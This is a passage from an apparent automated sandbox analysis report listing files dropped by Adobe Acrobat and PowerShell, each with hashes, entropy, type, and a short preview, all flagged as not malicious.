SHA-512:	B7EFB5FAB2C043A166603A54A4037F22923888B322C797EE7C602333A6638B63D0261149FD1EFCEF082B074E15F91A2DE052B8151CD22D2622E793E1D8803C6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266088305964811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfbPtdPeUkwRe9:YvXKXE7pvR/ZwHA/5GDV8Ukee9
MD5:	C51AD02CDBE07811F9A8B242CF8C856B
SHA1:	F43EDC7AA88810C545B84F7A3CF8B4A9428C26AE
SHA-256:	B834E17C945C826D9A3C04D480CBA038647312A35CF6C5286FF4BFEBF06FD13B
SHA-512:	94FD5319B8E49FCCD1D1D206BA05B314A419D4A5B23D68DEB66735505C4B099D829099D9B06E89FD27E748F79EC5D6C64F97C06F316CDAC4A69D9B201268EAEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2645735464872505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJf21rPeUkwRe9:YvXKXE7pvR/ZwHA/5G+16Ukee9
MD5:	832211CDDFD6875DFE55759AD645B16F
SHA1:	A48513BDB0997167D5F1B457865B6BAD9DF1C464
SHA-256:	D976C464A2824EC764D6FBD066509AA6528F2E408B3882E892DFB9BF10E02BA8
SHA-512:	3619F13B8E41DEDCA429DB23AD71083D2CBA05AE186F12A0124CDE0D7F06298A8EE3E74E80CDB40DBA921D8EC63ECE3545C34BA54A717E4DEA66B86DA33C6E47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667496456777263
Encrypted:	false
SSDEEP:	24:Yv6XE7pJhzCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:YvLpJhABgkDMUJUAh8cvM3
MD5:	7643DE52FF79EEDA35596BABD9D5A95F
SHA1:	FC196008B0F5083820552392180D0FC44159D78B
SHA-256:	43210E776E2051F65607332F51CA49BCBCD1486DAB97DC851A5FC4B5E2CC9BBC
SHA-512:	A97C75E2F5F42DCC4057B54F454E580849AD49E01F4F898C945EC65B9BB2B01BD3A32F4A604203C95623713AEC984B19B79E53A172CBCF3F4266EDF9AF222726
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.242268345704748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfshHHrPeUkwRe9:YvXKXE7pvR/ZwHA/5GUUUkee9
MD5:	F8E3864732B1D2E72ABB34C042E2FF48
SHA1:	2A7C844EB9D4F1B86F8D8C14C75AFB1EE771ADF1
SHA-256:	A45FBFCE454E12B511899228E422B7EC743292C0DE627B0332D82C90D93C95C6
SHA-512:	1C959F87A6B31DBEB9364121201EBE43749F06F1920A0A556BE64CA469331DDF7BAC5BE6D7C21B4A5BD911432DEA7A2EED5A06158025A8C2EEE72FBCEF3DAE70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.259815708333544
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJTqgFCrPeUkwRe9:YvXKXE7pvR/ZwHA/5GTq16Ukee9
MD5:	E8DEF994AAE7695DB4B3E9F7AD596996
SHA1:	4EDCA0D0857AFA146B2B02DBB000F623180B6A8A
SHA-256:	C8D0A6FFA8635C7EE29BA1C9C0AE74E851F85F944E6FE63FC78A4DB6CC8C4BD5
SHA-512:	1D52E190F591CB569317B7D6CECC933649CA649155A44FF4AAB8267468A29DC580909C6499DCB4D8FA2739A7E951B9B951087B0ADA481D33C3C1B23721E2F921
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141763240563959
Encrypted:	false
SSDEEP:	24:YpovK2Oask9aybBh/JqGzZEzxyqnu2P2U/HjTSj0S1HzZZya2C+fP2LS1ZCrUJOZ:Yqckz/vYyqBTkz3ufPljJmILr9U
MD5:	D729A9C26641E575D77928D0BB430744
SHA1:	08667C0A8A06F98969EEE232E29DCEB13BFEAE79
SHA-256:	2F87877AC714432EB72FE9EE1BE7C245269FECFC1089212F078646A9EB6CF41C
SHA-512:	BA76FACCA51B38687F976985B7CB45B54E23DE0385E7276781DCF5024D4436BBBD97D97DD129246B4D7EECBC0C694E042798BEB68988F70D9091672AA78FD75E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75538e4263b53113706f23165d88a23f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525247000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"aadcfa6933d2c42f61e2743d21a04723","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525247000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d59fcdad27ef610f9ce9b7fd15e0d6d5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525247000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e9e5cc289885a793784ccb3a679311ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525247000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"38126ecd196b96f5d70af85faf338179","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525247000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bba9774f25dd3871028ff6b8ecb9f2df","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3182493945133469
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe2yTtqVL:TGufl2GL7ms9WR1CPmPbPahbypilIJ
MD5:	D3960C740E2AD91E337A5A7C3DD294D9
SHA1:	0FAB51EEBEA23FC18AE1CFFAEFCE127E6707B848
SHA-256:	C7605D35501DCB5DC7736C45B649C0E1BF260B360C105E46B1D74AFBFE95BDF0
SHA-512:	A5DFB43FC3B8DA55A2B5B0E5279F6747A0FC70AA9BA7FA5039D71F58FFA3F7208EF635321976DB5C63428B657ED949F3956108738355B9CC7416BF0F83F901E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7801114927457826
Encrypted:	false
SSDEEP:	24:7+tHlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe2yT4qVpaVrScVr0InnqLhx6:7McWR1CPmPbPahqypilISqFl2GL7msA
MD5:	D5A04FDD3D8BFC6C7021EC0E3BBD7F61
SHA1:	AA616F27E2B81422C39D783BFB33DE0EB2EA5654
SHA-256:	B60DC892EFEE0AF37760D55EFDCE0EC0E211A64DD77408122204EC74C622E235
SHA-512:	7BC7476BC0EE180A73A8CAE4476F645A0F332EFC64D124EE63ACB1192A1FC57E910157F056A2E1621A020CE4B59BF4F34A69F8B17DAB447557C59102DD9F39D3
Malicious:	false
Preview:	.... .c......Vx...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgRnyvWyQg2QqtTn+LBU/xqpUhiMYyu:6a6TZ44ADERn4WyT2pVC2VK
MD5:	C0B445B782BE32EAF4A4F9E5ADC7C590
SHA1:	D17C880DE437902BE900D9E5DF70250E8ED69541
SHA-256:	C86FF3AB034FBDCE8650483C541EF5FB0610F250BF80B91BA8E308C463315FC1
SHA-512:	FD19BACCE23F2CF8D186E69295908DE26DE1FAD3A0F30F10FEF393A5DF7B43701EFA3CDCF986BE7B944F4912C0446EC399F41423019936101CD83DCBC1DC6ABE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI8808c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4872226941654008
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEDl2:Qw946cPbiOxDlbYnuRK+bD52
MD5:	A95C83D951FC7A23391D7B09C964AE86
SHA1:	BBF1B534041A73ABA225D2DF1E6840B0C42613EB
SHA-256:	22D2DA0A59D72AE5E009A502209A38D9F499F642A65C2E821481D3E32DD71687
SHA-512:	CED0EE90EC374A0F0D8AE4606DD45EF0D0DA78F801EA0B6471364FC47C98E02050F5119CF9750663B6B872C53AD6DFCE8732326DB9A3415D732759AE82CA257C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.0.7.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cscvifl1.3yc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wknnvyix.2nh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-07-20-069.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.330468091496531
Encrypted:	false
SSDEEP:	384:jC0jMKQlFIdTg2P6vFSamhIp9lVbSWWwlGRFbjzmTuOnpRHfFAI/1U1QhpXZ/WeR:ijX
MD5:	0E765CB7040FDB99A2623487B3A07CD3
SHA1:	528EE9123DB581750ED2C7C2CA86C389824296ED
SHA-256:	487D185FD013E44BE5D44ED68F218E57F99BCAAF2E5F9B90F364A9A87FC7F572
SHA-512:	26CA5BA8ED96A9E3DAFC95933EAF367949FCAFB573C838A107814EF3598267CA70169AB2F6ECEE5BCE6AB1C2ECDA06B51460F79D91AE78F8387BCF958C228677
Malicious:	false
Preview:	SessionID=7411f431-fdbe-45d4-afe5-b565305c28fa.1736525240086 Timestamp=2025-01-10T11:07:20:086-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7411f431-fdbe-45d4-afe5-b565305c28fa.1736525240086 Timestamp=2025-01-10T11:07:20:088-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7411f431-fdbe-45d4-afe5-b565305c28fa.1736525240086 Timestamp=2025-01-10T11:07:20:088-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7411f431-fdbe-45d4-afe5-b565305c28fa.1736525240086 Timestamp=2025-01-10T11:07:20:088-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7411f431-fdbe-45d4-afe5-b565305c28fa.1736525240086 Timestamp=2025-01-10T11:07:20:088-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401271178034976
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb+ocb2Ii6cbiwJ:ceo4+rsCMliCwJ
MD5:	6177E579B1554390B73E69A9E99B39AA
SHA1:	1171F274A2705CF949207016CE4C8E5A07C74EC4
SHA-256:	73965E5B051D30C61DB1A38F4F7F038C1051BFB4883CD3F6A8DB183295131294
SHA-512:	8CD4DC8B0C1570DD5D67F3FA92AE7A9D957CCDB524DDE242A049CBBC368FB490A247F43E04C60AADA0B349CB0E4AE744B9AA4FE8442B3A5740E2F6874B72CBF8
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1a2cc40e-fb75-4d95-8634-9829e4d7719b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/bWL07oXGZfqZwYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TWLxXGZSZwZGH3mlind9i4ufFXpAXkru
MD5:	1692C6AD02530631CD5B90F95E5EE6B0
SHA1:	CB1D18D7336B71A7F85BC0F884F124B8070553A7
SHA-256:	9E41C6F1A614DF448C430E6DA66B82485B0871B8CD94112453055DC6F492F144
SHA-512:	36C8C520F68037EA393D8026A3B1515AE05F874B12578FF17DD9B1DD5C582B622ADDA2434D25F469C21FA743873A3B33CCCB16A2CEDB0B0C50D9E25361B61D5E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5a4dd0f9-e1f1-4b8a-a083-85d6aebcdd6b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\704b1521-5dee-4ae9-89a6-ef4be8118230.tmp

Download File

